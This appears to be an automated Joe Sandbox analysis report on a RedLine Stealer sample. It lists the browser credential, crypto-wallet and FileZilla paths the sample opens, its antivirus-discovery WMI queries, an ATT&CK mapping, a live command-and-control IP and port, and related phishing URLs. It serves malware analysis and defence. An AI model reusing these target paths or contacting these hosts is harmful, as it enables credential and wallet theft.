Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: xI0ubnUcsV.exe, 00000000.00000002.1911694371.0000000007EC5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: xI0ubnUcsV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.xI0ubnUcsV.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xI0ubnUcsV.exe PID: 7420, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: xI0ubnUcsV.exe, 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002A43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxxLiberty
Source: xI0ubnUcsV.exe, 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\walletsH
Source: xI0ubnUcsV.exe, 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumD
Source: xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $^q5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\xI0ubnUcsV.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: xI0ubnUcsV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.xI0ubnUcsV.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xI0ubnUcsV.exe PID: 7420, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: xI0ubnUcsV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.xI0ubnUcsV.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xI0ubnUcsV.exe PID: 7420, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	231 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	3 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	113 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
xI0ubnUcsV.exe	79%	Virustotal		Browse
xI0ubnUcsV.exe	87%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
xI0ubnUcsV.exe	100%	Avira	HEUR/AGEN.1305500
xI0ubnUcsV.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://23.27.201.57:62529/	0%	Avira URL Cloud	safe
http://ns.microsoft.co2/t/ReL	0%	Avira URL Cloud	safe
http://23.27.201.57:62529H	0%	Avira URL Cloud	safe
http://23.27.201.57:62529	0%	Avira URL Cloud	safe
http://23.27.201.57:62529t-	0%	Avira URL Cloud	safe
23.27.201.57:62529	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb.cdn.cloudflare.net	172.67.75.172	true	false		high
api.ip.sb	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://23.27.201.57:62529/	true	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	false		high
23.27.201.57:62529	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	xI0ubnUcsV.exe	false		high
https://duckduckgo.com/chrome_newtab	tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	false		high
https://duckduckgo.com/ac/?q=	tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002A43000.00000004.00000800.00020000.00000000.sdmp, xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002B33000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	xI0ubnUcsV.exe	false		high
http://schemas.xmlsoap.org/soap/envelope/	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002A25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	false		high
http://tempuri.org/	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002A25000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnect	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	false		high
https://www.ecosia.org/newtab/	tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	false		high
http://ns.microsoft.co2/t/ReL	xI0ubnUcsV.exe, 00000000.00000002.1900114250.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpd	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002CFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironment	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002B33000.00000004.00000800.00020000.00000000.sdmp, xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironmentResponse	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/D	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002A43000.00000004.00000800.00020000.00000000.sdmp	false		high
http://23.27.201.57:62529H	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002B33000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002CFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	false		high
https://api.ipify.orgcookies//settinString.Removeg	xI0ubnUcsV.exe	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://23.27.201.57:62529	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002A43000.00000004.00000800.00020000.00000000.sdmp, xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002B33000.00000004.00000800.00020000.00000000.sdmp, xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	false		high
http://23.27.201.57:62529t-	xI0ubnUcsV.exe, 00000000.00000002.1900493685.0000000002B33000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdate	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/0	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmp3E45.tmp.0.dr, tmp445.tmp.0.dr, tmp3F2.tmp.0.dr, tmp435.tmp.0.dr, tmp423.tmp.0.dr, tmp403.tmp.0.dr, tmp424.tmp.0.dr, tmp3E57.tmp.0.dr, tmp456.tmp.0.dr, tmp3E34.tmp.0.dr, tmp3E56.tmp.0.dr, tmp3E14.tmp.0.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	xI0ubnUcsV.exe, 00000000.00000002.1900493685.00000000029B1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.75.172	api.ip.sb.cdn.cloudflare.net	United States		13335	CLOUDFLARENETUS	false
23.27.201.57	unknown	United States		18779	EGIHOSTINGUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1599683
Start date and time:	2025-01-26 08:21:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xI0ubnUcsV.exe renamed because original name is a hash value
Original Sample Name:	65b74f187c506cf5c1fafde03e60e7df.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/45@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 31 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:22:15	API Interceptor	56x Sleep call for process: xI0ubnUcsV.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.75.172	VXB84UvyHp.exe	Get hash	malicious	RedLine	Browse
	http://www.fcc-movil.com/80th/enphem1sX2F0dG9ybmV5YXpAZmQub3Jn	Get hash	malicious	Phisher	Browse
	https://bityl.co/Rdhj#MmpKcFFEVVI2TVllaWsyVHoxbTVjNVQ2OFJkV0I2UW53emdGdFlabWtLYlFDd3ZmMjIydmh0VVc3SEJnZUNkeG11THhoRWM4cS95OXhmejFJQXRJWlE9PQ__	Get hash	malicious	Phisher	Browse
	https://www.popisoft.com	Get hash	malicious	Unknown	Browse
	3oYqGm39Lk.exe	Get hash	malicious	Amadey, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse
	3KuXQ4yrkM.exe	Get hash	malicious	Glupteba, Mystic Stealer, RedLine, SmokeLoader, zgRAT	Browse
	l5GCQ2fOuD.exe	Get hash	malicious	Djvu, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Tofsee	Browse
	70141CDE965558529B1ADC82862D402149F21443F12F0.exe	Get hash	malicious	Amadey, Glupteba, Mystic Stealer, RedLine, SmokeLoader	Browse
	N04MI8kf8z.exe	Get hash	malicious	Amadey, Glupteba, Mystic Stealer, RedLine, SmokeLoader	Browse
	6b109e55911293b4e5098d3711849b85499a988385721.exe	Get hash	malicious	NetSupport RAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ip.sb.cdn.cloudflare.net	I5D7Y9o1R1.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RedLine	Browse	104.26.12.31
	qJ64p5G1XJ.exe	Get hash	malicious	RedLine	Browse	104.26.13.31
	VXB84UvyHp.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	chTJmCR9bS.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	104.26.12.31

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://mailtrack.io/l/e6d0bd853d2aee05400aede4b03f7f9ea57dd098	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://www.shriaarambhbuildtech.com/srv/images/mult/?bx_sender_conversion_id=4517	Get hash	malicious	Unknown	Browse	172.64.149.23
	https://surl.li/deindeanil	Get hash	malicious	Unknown	Browse	104.26.0.37
	https://voicemail.tsisd.ca/	Get hash	malicious	Unknown	Browse	104.26.9.44
	http://tgpdtuzs.red/	Get hash	malicious	Unknown	Browse	172.67.220.245
	https://steamconmnnity.com/tradofferr/new/partner=86339532	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://1636d0c2-a830-445c-8bfd-059246def07f.s3.ap-northeast-2.amazonaws.com/$$%25!%5E$&&!%23%5E%25!&$&@%25@%5E!%5E%23%25$%25&$$&!%25@&%25%5E%23&$%5E!%5E%25@%23/index.html?sou=salt%20lake%20city&cat=151_paysysco.com&bid=sysco&re=paysysco.com&cs=69.27.29.186&bro=ut&tk7=*&tk8=xqevfcspvwu/	Get hash	malicious	TechSupportScam	Browse	104.17.25.14
	http://gddemvzq.top/	Get hash	malicious	Telegram Phisher	Browse	188.114.96.3
	https://steamcomnitty.com/gift/id=1737219938/	Get hash	malicious	Unknown	Browse	172.64.145.151
	https://sceanncommnuty.com/nuntret/ciguf/fert	Get hash	malicious	Unknown	Browse	104.17.25.14
EGIHOSTINGUS	arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	107.164.117.185
	12.elf	Get hash	malicious	Unknown	Browse	107.187.170.22
	arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	107.187.170.69
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	107.187.45.22
	z3hir.arm	Get hash	malicious	Mirai	Browse	104.252.227.127
	Fantazy.arm4.elf	Get hash	malicious	Unknown	Browse	104.253.182.30
	Fantazy.m68k.elf	Get hash	malicious	Unknown	Browse	45.39.118.16
	armv7l.elf	Get hash	malicious	Unknown	Browse	23.230.215.12
	i686.elf	Get hash	malicious	Unknown	Browse	172.121.44.1
	RFQ PC25-1301 Product Specifications_PDF.exe	Get hash	malicious	FormBook	Browse	45.38.60.47

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	setup (2).exe	Get hash	malicious	ReverseShell	Browse	172.67.75.172
	setup (2).exe	Get hash	malicious	ReverseShell	Browse	172.67.75.172
	setup (2).exe	Get hash	malicious	ReverseShell	Browse	172.67.75.172
	setup (2).exe	Get hash	malicious	ReverseShell	Browse	172.67.75.172
	REQUIRED-ORDER-COMPANY-.cmd.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	172.67.75.172
	PO240125.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.75.172
	siparis 615TBI507_ COFLE TK san tic_ Sipari#U015fi jpeg pdf .exe	Get hash	malicious	ReverseShell, Snake Keylogger, VIP Keylogger	Browse	172.67.75.172
	MV TBN PDA REQUEST_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.75.172
	new medline order.pdf.exe	Get hash	malicious	ReverseShell, Snake Keylogger, VIP Keylogger	Browse	172.67.75.172
	New Order list.exe	Get hash	malicious	ReverseShell, Snake Keylogger, VIP Keylogger	Browse	172.67.75.172

Process:	C:\Users\user\Desktop\xI0ubnUcsV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHG1qHxLHjHKd2:vq5qxqdqolqztYqh3oPtI6mq7qoT5mwt
MD5:	1ED541494834162D093573FD2115D38F
